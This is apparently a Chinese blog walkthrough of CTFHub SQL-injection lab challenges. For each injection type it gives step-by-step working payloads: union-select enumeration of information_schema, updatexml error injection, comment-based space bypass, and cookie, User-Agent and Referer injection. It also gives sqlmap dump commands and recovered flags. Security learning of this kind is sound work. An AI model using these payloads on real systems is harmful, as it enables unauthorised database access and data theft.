CTFHub技能树 Web-SQL注入详解
创始人
2024-02-10 15:59:43
0

文章目录

    • 0x01 整数型注入
    • 0x02 字符型注入
    • 0x03 报错注入
    • 0x04 布尔盲注
    • 0x05 时间盲注
    • 0x06 MySql结构
    • 0x07 Cookie注入
    • 0x08 空格绕过
    • 0x09 UA注入
    • 0x10 Refer注入
    • 总结
    • 摘抄

在这里插入图片描述

0x01 整数型注入

在这里插入图片描述

解题WP
第一步 尝试闭合点
在这里插入图片描述
在这里插入图片描述

第二步 判断列数

id=1 order by 2 页面正常
id=1 order by 3 页面未回显数据

在这里插入图片描述
在这里插入图片描述

第三步 联合查询,判断回显位置
/?id=-1 union select 1,2

在这里插入图片描述

第四步 执行数据库语句
-1 union select 1,database()
在这里插入图片描述

第五步 查询当前数据库下的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
在这里插入图片描述

第六步 查询表下的字段
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
在这里插入图片描述

第七步 输入字段值
?id=-1 union select 1,flag from sqli.flag

在这里插入图片描述

0x02 字符型注入

在这里插入图片描述

解题WP
第一步 闭合方式
/?id=1' --+'
在这里插入图片描述

第二步 查看回显字段的位数

id=1' order by 2 --+' 页面正常
id=1' order by 3 --+' 页面未回显数据

在这里插入图片描述

第三步 判断回显的位置
-1' union select 1,2 --+'
在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 --dbs
在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

在这里插入图片描述

0x03 报错注入

在这里插入图片描述

第一步 判断注入

id=1页面回显正常
id=1'发现页面报错,回显数据库错误信息

在这里插入图片描述
在这里插入图片描述

第二步 使用updatexml注入,数据库名称

 updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document,为xml文档对象名称,是数据库x库的doc字段
第二个参数:xpath_string:xpath语法
第三个参数:new_value:替换查找到的符合条件的字符(string)/?id=1 and updatexml(1,concat(0x5e,database()),1)

在这里插入图片描述

第三步 获取表名
编解码在线工具
https://www.toolhelper.cn/

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)

在这里插入图片描述

第四步 获取字段

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)

在这里插入图片描述

第五步 获取字段值

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
发先flag少了一部分
mid 就可以得到flag后面的一部分
/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

在这里插入图片描述
在这里插入图片描述

0x04 布尔盲注

在这里插入图片描述

--dbs 
-D sqli --tables 
-D sqli -T flag columns --dump

在这里插入图片描述

sqlmap -u "http://challenge-70a9e8b793dd9d2b.sandbox.ctfhub.com:10800/?id=1" --dbs

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

sqlmap -u "http://url/?id=1" -D sqli --tables --batch
在这里插入图片描述

sqlmap -u "http://url/?id=1" -D sqli -T flag --columns --batch
在这里插入图片描述

 sqlmap  -u "http://url/?id=1" -D sqli -T flag -C flag --dump --batch 
ctfhub{c04dd02440c0191e73caad9c}

在这里插入图片描述

0x05 时间盲注

--dbs 
-D sqli --tables 
-D sqli -T flag --columns 
-D sqli -T flag -C flag --dump
--batch 

在这里插入图片描述
在这里插入图片描述

0x06 MySql结构

在这里插入图片描述

--dbs 
-D sqli --tables 
-D sqli -T whvvzxswne columns --dump
sqlmap -u http://url/?id=1  -D sqli -T  qtcwgcmzbh   -C  jkcwouoqak   --dump  --batch 
ctfhub{f37e47264f12f73fe5129649} 

在这里插入图片描述

0x07 Cookie注入

在这里插入图片描述

第一步 确定闭合

Cookie: id=1  数字型注入

在这里插入图片描述

第二步 查看回显字段的位数

Cookie: id=1 order by 2; 页面正常
Cookie: id=1 order by 3; 页面异常

在这里插入图片描述
在这里插入图片描述

第三步 使用union查询,查看回显位置

Cookie: id=-1 union select 1,2;

在这里插入图片描述

第四步 查看当前数据库

Cookie: id=-1 union select 1,database();

在这里插入图片描述

第五步 查看表名

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
trxfffaswl
news

在这里插入图片描述
在这里插入图片描述

第六步 查询字段

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='trxfffaswl' limit 0,1);
brdjzysggi

在这里插入图片描述

第七步 查看字段值

Cookie: id=-1 union select 1,(select brdjzysggi from trxfffaswl limit 0,1);

在这里插入图片描述

0x08 空格绕过

在这里插入图片描述

第一步 确定闭合
?id=1/**/or/**/1=1 //测试or,and等特殊字符是否被过滤

第二步 查看回显字段的位数

?id=1/**/order/**/by/**/2;页面正常
?id=1/**/order/**/by/**/3; 页面异常

在这里插入图片描述
在这里插入图片描述

第三步 使用union查询,查看回显位置

?id=-1/**/union/**/select/**/1,2

在这里插入图片描述

第四步 查看当前数据库

-1/**/union/**/select/**/1,database()

在这里插入图片描述

第五步 查看表名

表明1
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/0,1)
表名2
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/1,1)
ID: imrqzusgig
Data: news

在这里插入图片描述

第六步 查询字段

?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='imrqzusgig'/**/limit/**/0,1)
Data: sxiiqtwdft

在这里插入图片描述

第七步 查看字段值

?id=-1/**/union/**/select/**/1,(select/**/sxiiqtwdft/**/from/**/imrqzusgig/**/limit/**/0,1)

0x09 UA注入

在这里插入图片描述

第一步 构造闭合

1 or 1=2 页面回显正常
1 and 1=2

在这里插入图片描述
在这里插入图片描述

第二步 查询列数量

1 order by 1,2,3  页面报错
1 order by 1,2  页面正常

在这里插入图片描述
在这里插入图片描述

第三步 判断回显,查询数据库

-1 union select 1,2 
-1 union select 1,database()

在这里插入图片描述
在这里插入图片描述

第四步 查看表名称

-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
cutmmwbdxt
news

在这里插入图片描述

第五步 查看字段名称

-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='cutmmwbdxt' limit 0,1)
iezonoaoey 

在这里插入图片描述

第六步 查看字段值

-1 union select 1,(select iezonoaoey   from cutmmwbdxt limit 0,1)
ctfhub{509b5eecd5afe7a69925baad}

在这里插入图片描述

0x10 Refer注入

在这里插入图片描述

第一步 构造闭合

1 or 1=2 页面回显正常
1 and 1=2

在这里插入图片描述
在这里插入图片描述

第二步 查询列数量

1 order by 1,2,3  页面报错
1 order by 1,2  页面正常

在这里插入图片描述
在这里插入图片描述

第三步 判断回显,查询数据库

-1 union select 1,2 
-1 union select 1,database()

在这里插入图片描述

在这里插入图片描述

第四步 查看表名称

-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
skwdbewppe
news

在这里插入图片描述

第五步 查看字段名称

-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='skwdbewppe' limit 0,1)
lmdptzbbsz

在这里插入图片描述

第六步 查看字段值

-1 union select 1,(select lmdptzbbsz  from skwdbewppe limit 0,1)
ctfhub{696d71da4c29a525eb09512d}

在这里插入图片描述

所有的SQL注入完成
在这里插入图片描述

总结

level有5级,越高检测越全,默认为 1

--level 1 检测Get和Post--level 2 检测HTTP Cookie--level 3 检测User-Agent和Referer--level 4 检测--level 5 检测 HOST 头

risk有3级,级别越高风险越大,默认为1

--risk 2 会在默认的检测上添加大量时间型盲注语句测试--risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库

摘抄


如果你有一堆苹果,有好有坏,你应该先吃好的,把烂的扔掉。如果你先吃坏的,好的也会变坏,你就永远吃不到好的,这就是苹果定律。
苹果定律告诉我们,人必须善于取舍,要记住先做你生命中最重要的事。
仔细想想,人生曾有多少次机遇被我们错过,有多少重要的事被我们割舍。每个阶段都有不同的目标,找到当下最核心最重要的事,是一个人最大的本事和能力。
  ---《苹果定律》


相关内容

热门资讯

苏南模式转型背景下的无锡城乡... 苏南模式转型背景下的无锡城乡一体化发展论文  提要本文阐述“苏南模式”转型大背景下的无锡城乡一体化发...
禹门河反调节水库碾压砼施工工... 禹门河反调节水库碾压砼施工工艺应用工学论文  一、工程简介  禹门河反调节水库位于河南省洛宁县禹门河...
浅谈语文学科核心素养对高中语... 浅谈语文学科核心素养对高中语文教学目标确定的几点启示  浅谈语文学科"核心素养"对高中语文教学目标确...
召回门的启示 召回门的启示摘要:860万辆问题汽车被召回,36亿美元巨额赔偿,政府、民间和舆论的讨伐,竞争对手乘虚...
浅谈课堂语言 浅谈课堂语言浅谈课堂语言1教学生涯已有十载,品味其中的经验教训,有丝丝的甘甜,也有涩涩的苦味.其中课...
伸缩缝施工技术桥梁工程论文 伸缩缝施工技术桥梁工程论文  1伸缩缝施工技术  为了确保交通的顺畅,本工程进行伸缩缝的施工采用的是...
水利毕业论文 水利毕业论文(精选8篇)  论文致谢词一般是用于实践报告、论文的结尾处,用以感谢论文写作中导师对于自...
可加二次余数函数的渐进公式 关于可加二次余数函数的渐进公式利用初等方法和解析方法,研究了可加二次余数函数,获得了本文定义的可加二...
鳞翅目昆虫的化蛹场所及行为 鳞翅目昆虫的化蛹场所及行为鳞翅目昆虫的主要化蛹场所为地下(即入土化蛹)和地上(寄主植物及地表).入土...
小学教师的师德建设论文 小学教师的师德建设论文  在平时的学习、工作中,许多人都写过论文吧,论文是描述学术研究成果进行学术交...
马克思感性世界理论的初步构建 马克思感性世界理论的初步构建马克思主义哲学真正超越了几千年来牢牢禁锢着人类头脑的'追求极限、本原的还...
网球运动中如何提高正手击球的... 网球运动中如何提高正手击球的速度力量本文运用文献资料法,专家访谈法,现察法等对网球运动中的正手击球技...
室内空气自然通风换气次数的估... 室内空气自然通风换气次数的估算目的研究改进和评价室内空气质量的实用方法.方法在大量的现场调查研究的'...
信息化教学综述 信息化教学综述教育信息化是指在教育领域全面深入地运用现代化信息技术来促进教育改革和教育发展的`过程,...
节能环保论文 节能环保2000字论文  导读:倡导节能环保,用以节约现有能源消耗量,提倡环保型新能源开发,造福社会...
抗氧化剂对农杆菌介导的大豆下... 抗氧化剂对农杆菌介导的大豆下胚轴GUS基因瞬时表达的影响大豆(Glycine max)下胚轴作为大豆...
既约真分数一个性质的推广 既约真分数一个性质的推广冉树清老师在《数学通报》2002年第12期《既约真分数的'一个性质》一文中证...
项目范围管理论文 项目范围管理论文  在各领域中,大家都有写论文的经历,对论文很是熟悉吧,论文是学术界进行成果交流的工...
逆市调价? 逆市调价?就在贸易商们盘算着低价优惠出货时,6月30日发改委突然宣布上调国内汽柴油价格每吨600元....
生产流程管理的论文 生产流程管理的论文  生产流程,又叫工艺流程或加工流程,是指在生产工艺中,从原料投入到成品产出,通过...